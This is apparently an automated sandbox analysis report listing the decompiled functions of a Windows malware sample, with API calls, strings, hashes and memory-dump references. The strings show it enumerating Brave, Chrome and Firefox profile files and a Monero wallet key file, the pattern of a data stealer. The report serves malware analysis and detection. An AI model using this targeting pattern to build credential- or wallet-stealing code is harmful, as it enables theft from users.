Brave, xrefs: 00CBC102
Preferences, xrefs: 00CBC11E
\Brave\Preferences, xrefs: 00CBC1DB

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 58a3ec1b32ecd9ba3281db9c8aebbb42c9911cd037faf8f0530dee2bdb169b73
Instruction ID: 775729cbae796f5796463354bf12679279b30995b10443d6527900a61f1ae57b
Opcode Fuzzy Hash: 58a3ec1b32ecd9ba3281db9c8aebbb42c9911cd037faf8f0530dee2bdb169b73
Instruction Fuzzy Hash: EE424572910108ABCB14FB70DD9AFED737DAB94304F40456CF90AA6191EE349F49DBA2

Function 00CC4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00CC492C
FindFirstFileA.KERNEL32(?,?), ref: 00CC4943
StrCmpCA.SHLWAPI(?,00CD0FDC), ref: 00CC4971
StrCmpCA.SHLWAPI(?,00CD0FE0), ref: 00CC4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00CC4B7D
FindClose.KERNEL32(000000FF), ref: 00CC4B92

Strings

%s\%s, xrefs: 00CC49FB
%s\*, xrefs: 00CC4920
%s\%s, xrefs: 00CC49A4

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 5601b76836e94edabc34c683c8118095f1309852b2ff75da1f951079471dd2f0
Instruction ID: cc38ef81f7e3937e4c0e764fe47e008efaeecbef77b0dc42eff74d6cf28f9f86
Opcode Fuzzy Hash: 5601b76836e94edabc34c683c8118095f1309852b2ff75da1f951079471dd2f0
Instruction Fuzzy Hash: FF6134B1500218AFCB24EBA5DC59FFA737CBB88700F44859DE60DA6141EA71DB49CF91

Function 00CC4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00CC4580
RtlAllocateHeap.NTDLL(00000000), ref: 00CC4587
wsprintfA.USER32 ref: 00CC45A6
FindFirstFileA.KERNEL32(?,?), ref: 00CC45BD
StrCmpCA.SHLWAPI(?,00CD0FC4), ref: 00CC45EB
StrCmpCA.SHLWAPI(?,00CD0FC8), ref: 00CC4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00CC468B
FindClose.KERNEL32(000000FF), ref: 00CC46A0
lstrcat.KERNEL32(?,0189E5E8), ref: 00CC46C5
lstrcat.KERNEL32(?,0189D848), ref: 00CC46D8
lstrlen.KERNEL32(?), ref: 00CC46E5
lstrlen.KERNEL32(?), ref: 00CC46F6

Strings

%s\*, xrefs: 00CC459A
%s\%s, xrefs: 00CC461B

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: dff8d1bcc88f6fe7d20e3a3e6de1eb567b7fb2692903b83e12d7ef7622f4c56d
Instruction ID: b2020cf2e5b57efb12a2aa315b4f4f00b8a3c36af7decf181ea95c12c47e6341
Opcode Fuzzy Hash: dff8d1bcc88f6fe7d20e3a3e6de1eb567b7fb2692903b83e12d7ef7622f4c56d
Instruction Fuzzy Hash: 205154B15002189FC724EBB1DC99FF9737CAB98700F444599F60DA6190EB759B88CFA1

Function 00CC3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00CC3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00CC3EDA
StrCmpCA.SHLWAPI(?,00CD0FAC), ref: 00CC3F08
StrCmpCA.SHLWAPI(?,00CD0FB0), ref: 00CC3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00CC406C
FindClose.KERNEL32(000000FF), ref: 00CC4081

Strings

%s\%s, xrefs: 00CC3EB7

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: c4b43df57311723bc054fa7c614ae39ebeffa185f5a3f0af37b45fb6c485f693
Instruction ID: d77dba6dc1755d5fb2eb2d8b258d72cda84eef78c89de13b3bab4ae97253eec9
Opcode Fuzzy Hash: c4b43df57311723bc054fa7c614ae39ebeffa185f5a3f0af37b45fb6c485f693
Instruction Fuzzy Hash: BD5133B1900218ABCB24EBA5DC89FFA737CBB88300F44859DF65D96040EB759B89CF51

Function 00CBED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00CBED3E
FindFirstFileA.KERNEL32(?,?), ref: 00CBED55
StrCmpCA.SHLWAPI(?,00CD1538), ref: 00CBEDAB
StrCmpCA.SHLWAPI(?,00CD153C), ref: 00CBEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00CBF2AE
FindClose.KERNEL32(000000FF), ref: 00CBF2C3

Strings

%s\*.*, xrefs: 00CBED32

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: efac081a6202558add822162bc03d334c02e4bea27c8c2f29795a048073ee47e
Instruction ID: 678a8e2aa9b3c248a103613b84381edff782245b055953703a6ad4a405dda7c4
Opcode Fuzzy Hash: efac081a6202558add822162bc03d334c02e4bea27c8c2f29795a048073ee47e
Instruction Fuzzy Hash: 52E1BC7191111C9BEB54EB61DC5AFEE7338AF54304F4041ADF50A66092EE306F8ADF52

Function 00CBF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00CD15B8,00CD0D96), ref: 00CBF71E
StrCmpCA.SHLWAPI(?,00CD15BC), ref: 00CBF76F
StrCmpCA.SHLWAPI(?,00CD15C0), ref: 00CBF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00CBFAB1
FindClose.KERNEL32(000000FF), ref: 00CBFAC3

Strings

prefs.js, xrefs: 00CBF812

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: cdbe6710fa6f40249e012f4412cb7479780ddaed7be568926cfa3803eacb9220
Instruction ID: f499e57e02872aeb6d4c862aa9025413c974bb933197faa5c4914e0216c0c1d9
Opcode Fuzzy Hash: cdbe6710fa6f40249e012f4412cb7479780ddaed7be568926cfa3803eacb9220
Instruction Fuzzy Hash: 52B144719001089BDB24FF61DC9AFEE7379AF94304F4085ADE50A96191EF306B4ADF92

Function 0106F8F3 Relevance: 15.4, Strings: 11, Instructions: 1646COMMON

Download Yara Rule

Strings

sk%, xrefs: 01070667
_q{i, xrefs: 0106FBF9
a>E_, xrefs: 0106FC63
`+, xrefs: 010708FD
TR[, xrefs: 0106FE62
;b{v, xrefs: 0106FF7A
Z_=, xrefs: 010706F8
a>E_, xrefs: 0106FBD2
_jn], xrefs: 0106FA28
}`), xrefs: 0106FC89
2,G^, xrefs: 0107015F

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }`)$2,G^$;b{v$TR[$Z_=$_jn]$_q{i$`+$a>E_$a>E_$sk%
API String ID: 0-3676237254
Opcode ID: 9a4965d07a5722c634027f9e072a4f143e87464747ae211ddbc063d3cd2ac14d
Instruction ID: 54068a1a9c7be7a506df9c3b528aaa7e4ae99eb6f6d16897c91aad19eaa66337
Opcode Fuzzy Hash: 9a4965d07a5722c634027f9e072a4f143e87464747ae211ddbc063d3cd2ac14d
Instruction Fuzzy Hash: 8FB21AF3A08200AFE704AE2DEC8567AFBE6EFD4720F1A853DE6C4C7744E57558058692

Function 00CB16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00CD510C,?,?,?,00CD51B4,?,?,00000000,?,00000000), ref: 00CB1923
StrCmpCA.SHLWAPI(?,00CD525C), ref: 00CB1973
StrCmpCA.SHLWAPI(?,00CD5304), ref: 00CB1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CB1D40
DeleteFileA.KERNEL32(00000000), ref: 00CB1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00CB1E20
FindClose.KERNEL32(000000FF), ref: 00CB1E32

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Strings

\*.*, xrefs: 00CB17F1

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 77129aba93ea0e98bb1da584bd4c89b5a1c7629319cfc070f5820f1d37e6d927
Instruction ID: 301189e1d3a2b8a38d3f662230419e20f09130b3ae6e0739a3590b92cc3e3835
Opcode Fuzzy Hash: 77129aba93ea0e98bb1da584bd4c89b5a1c7629319cfc070f5820f1d37e6d927
Instruction Fuzzy Hash: F312EB7191011C9BDB29EB61DC9AFEE7378AF54304F4041ADE50A66091EF306F8ADFA1

Function 00CBDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00CD0C2E), ref: 00CBDE5E
StrCmpCA.SHLWAPI(?,00CD14C8), ref: 00CBDEAE
StrCmpCA.SHLWAPI(?,00CD14CC), ref: 00CBDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00CBE3E0
FindClose.KERNEL32(000000FF), ref: 00CBE3F2

Strings

\*.*, xrefs: 00CBDE26

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 03ed694de09d9a5b0e5c2a48222840233c2a27b343cd1ec731c20b06d8fda5a5
Instruction ID: 357df8ef15db7d9265ebf128b294d3884562cfa0f54913facb7ec3bb88625891
Opcode Fuzzy Hash: 03ed694de09d9a5b0e5c2a48222840233c2a27b343cd1ec731c20b06d8fda5a5
Instruction Fuzzy Hash: AFF17D7181011C9BDB25EB61DC9AFEE7338AF54304F9441EEE51A62091EF306F8ADE52

Function 00CBDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00CD14B0,00CD0C2A), ref: 00CBDAEB
StrCmpCA.SHLWAPI(?,00CD14B4), ref: 00CBDB33
StrCmpCA.SHLWAPI(?,00CD14B8), ref: 00CBDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00CBDDCC
FindClose.KERNEL32(000000FF), ref: 00CBDDDE

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

